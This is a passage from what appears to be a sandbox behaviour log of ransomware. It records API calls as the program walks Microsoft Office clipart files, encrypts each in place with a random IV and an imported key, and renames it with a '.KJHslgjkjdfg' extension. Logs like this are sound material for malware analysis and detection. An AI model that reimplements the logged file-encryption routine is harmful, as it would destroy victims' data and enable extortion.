Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.037] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.037] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.038] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0204.040] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.040] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.040] GetProcessHeap () returned 0x2ef0000 [0204.040] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.040] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.040] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.040] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.040] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.040] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.040] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.041] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.041] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.041] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.041] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.041] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.041] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x13c4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x13c4, lpOverlapped=0x0) returned 1 [0204.042] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x13d0, dwBufLen=0x13d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x13d0) returned 1 [0204.042] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.042] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x13d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x13d0, lpOverlapped=0x0) returned 1 [0204.042] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.042] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x14a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.042] SetEndOfFile (hFile=0x130) returned 1 [0204.045] GetProcessHeap () returned 0x2ef0000 [0204.045] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.045] GetProcessHeap () returned 0x2ef0000 [0204.045] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.045] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199465.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199465.wmf.kjhslgjkjdfg")) returned 1 [0204.046] CloseHandle (hObject=0x130) returned 1 [0204.046] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x35bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0199469.WMF", cAlternateFileName="")) returned 1 [0204.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199469.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.047] GetProcessHeap () returned 0x2ef0000 [0204.047] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.048] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.048] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.048] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.050] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.050] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.050] GetProcessHeap () returned 0x2ef0000 [0204.050] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.050] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.050] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.050] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.050] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.050] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.050] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.050] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.050] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.051] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.051] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.051] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.051] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x35bc, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x35bc, lpOverlapped=0x0) returned 1 [0204.052] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x35c0, dwBufLen=0x35c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x35c0) returned 1 [0204.052] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.052] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x35c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x35c0, lpOverlapped=0x0) returned 1 [0204.052] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.052] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.052] SetEndOfFile (hFile=0x130) returned 1 [0204.054] GetProcessHeap () returned 0x2ef0000 [0204.054] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.054] GetProcessHeap () returned 0x2ef0000 [0204.054] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.054] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199469.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199469.wmf.kjhslgjkjdfg")) returned 1 [0204.056] CloseHandle (hObject=0x130) returned 1 [0204.056] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a18, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0199473.WMF", cAlternateFileName="")) returned 1 [0204.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199473.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.057] GetProcessHeap () returned 0x2ef0000 [0204.057] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.057] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.057] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.057] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.062] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.062] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.062] GetProcessHeap () returned 0x2ef0000 [0204.062] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.062] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.062] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.062] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.062] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.062] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.062] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.062] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.062] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.062] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.063] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.063] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.063] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2a18, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2a18, lpOverlapped=0x0) returned 1 [0204.064] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2a20, dwBufLen=0x2a20 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2a20) returned 1 [0204.064] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.064] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2a20, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2a20, lpOverlapped=0x0) returned 1 [0204.064] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.064] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2af4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.064] SetEndOfFile (hFile=0x130) returned 1 [0204.067] GetProcessHeap () returned 0x2ef0000 [0204.067] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.067] GetProcessHeap () returned 0x2ef0000 [0204.067] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.067] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199473.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199473.wmf.kjhslgjkjdfg")) returned 1 [0204.068] CloseHandle (hObject=0x130) returned 1 [0204.068] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5655cfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1484, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0199475.WMF", cAlternateFileName="")) returned 1 [0204.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199475.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.070] GetProcessHeap () returned 0x2ef0000 [0204.070] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.070] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.070] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.070] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0204.072] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.072] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.072] GetProcessHeap () returned 0x2ef0000 [0204.073] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.073] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.073] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.073] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.073] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.073] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.073] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.073] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.073] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.073] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.073] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.073] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.073] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1484, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1484, lpOverlapped=0x0) returned 1 [0204.074] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1490, dwBufLen=0x1490 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1490) returned 1 [0204.074] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.074] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1490, lpOverlapped=0x0) returned 1 [0204.075] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.075] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1564, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.075] SetEndOfFile (hFile=0x130) returned 1 [0204.076] GetProcessHeap () returned 0x2ef0000 [0204.076] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.076] GetProcessHeap () returned 0x2ef0000 [0204.076] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.076] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199475.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199475.wmf.kjhslgjkjdfg")) returned 1 [0204.077] CloseHandle (hObject=0x130) returned 1 [0204.077] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x27b4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0199483.WMF", cAlternateFileName="")) returned 1 [0204.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199483.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.078] GetProcessHeap () returned 0x2ef0000 [0204.078] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.078] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.078] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.078] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0204.080] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.080] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.080] GetProcessHeap () returned 0x2ef0000 [0204.080] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) 